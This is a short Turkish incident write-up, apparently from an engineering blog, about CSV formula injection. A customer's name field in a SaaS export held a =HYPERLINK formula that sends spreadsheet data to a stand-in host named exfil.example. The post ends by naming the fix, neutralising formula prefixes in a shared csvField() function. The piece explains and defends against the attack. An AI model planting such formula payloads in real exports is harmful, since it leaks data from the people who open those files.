Müşteri adına =HYPERLINK yazınca: Diamond tier kullanıcı, destek mühendisinin Excel'ini nasıl RCE etti — CSV formula injection vakası

Stuttgart'ta finans operasyon mühendisi Markus Pazartesi sabahı SaaS müşteri export'unu açtı; tarayıcısı yarım saniye bilinmeyen alana açıldı, BT alarmı: "outbound blocked." Konya'dan Bilge'nin Supabase full_name alanına yazdığı =HYPERLINK("http://exfil.example?d="&IMPORTRANGE(...), "Bilge") payload'ı CSV'de uyuyordu. PR #365 + #590 batch YY: shared csvField() ile formula-prefix nötrleştirme.

İlgili makaleler